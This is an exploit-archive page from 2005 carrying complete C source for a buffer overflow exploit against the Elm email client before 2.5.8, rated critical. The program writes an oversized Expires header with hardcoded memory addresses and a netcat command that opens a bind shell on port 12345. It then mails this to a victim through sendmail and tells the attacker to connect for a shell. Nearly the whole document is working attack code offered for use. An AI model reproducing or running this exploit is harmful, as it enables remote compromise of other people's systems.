exploits , vulnerabilities , articles , Electronic Mail for UNIX (Elm) Expires Header Buffer Overflow Exploit

Rated as : Critical 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUFFER 83
#define EMAIL "tmpmail"
#define STRING "`nc -l -p 12345 -e /bin/sh`&##"
#define SYSLOC 0x42041e50
#define STRLOC 0x4001a207
#define EXTLOC 0x4202b0f0

char expire[]="\x45\x78\x70\x69\x72\x65\x73\x3A\x20";

int main(int argc, char **argv)
{
char buffer[BUFFER];
char *email = NULL;
char *user = NULL;
int i;
long extloc, sysloc, strloc;
FILE *fp;

if(argc != 2) {
puts("Usage: ./elmex <user@where.com>");
exit(EXIT_FAILURE);
}

if(strlen(argv[1]) > 50) {
puts("[-] Sorry, email address too long!");
exit(EXIT_FAILURE);
}

user = (char *)malloc(strlen(argv[1]));
if(!user) {
perror("malloc");
exit(EXIT_FAILURE);
}

email = EMAIL;

memset(user, '\0', strlen(argv[1]));
memcpy(user, argv[1], strlen(argv[1]));

puts("\nExploit for elm email client < 2.5.8 overflow in Expires
field");
puts("Tested: Redhat on quiet a Sunday by
c0ntex[at]open-security.org\n");

extloc = EXTLOC;
sysloc = SYSLOC;
strloc = STRLOC;

memset(buffer, '\0', BUFFER);
memcpy(buffer, expire, strlen(expire));

for(i = strlen(expire); i < 53; i++)
*(buffer+i) = 0x41;
for(i = 53; i < 57; i += 4)
*(long *)&buffer[i] = sysloc;
for(i = 57; i < 61; i++)
*(long *)&buffer[i] = extloc;
for(i = 61; i < 65; i += 4)
*(long *)&buffer[i] = strloc;

memcpy(&buffer[65], STRING, strlen(STRING));
buffer[BUFFER] = '\0';

puts("[-] Adding exploit buffer to email");

fp = fopen(email, "w");
if(!fp) {
perror("fopen"); free(user);
exit(EXIT_FAILURE);
}

fprintf(fp,
"From: User c0ntex <c0ntex@open-security.org> Sun Aug 21
13:37:00 2005\n"
"Return-Path: <c0ntex@localhost\n"
"Date: Sun, 21 Aug 2005 13:37:00 %s\n"
"Subject: Insecure?\n"
"To: %s\n"
"%s\n", STRING, user, buffer);
fclose(fp);

printf("[-] Emailing %s with malicious content\n", argv[1]);

if(system("/bin/cat ./tmpmail | /usr/sbin/sendmail -t") <0)
{
perror("system"); free(user);
exit(EXIT_FAILURE);
}

puts("[-] Connect to system on port 12345 to get your
shell\n");

if(unlink(EMAIL) <0)
perror("unlink");

free(user);

return EXIT_SUCCESS;
}
securitydot.net - 2005-08-22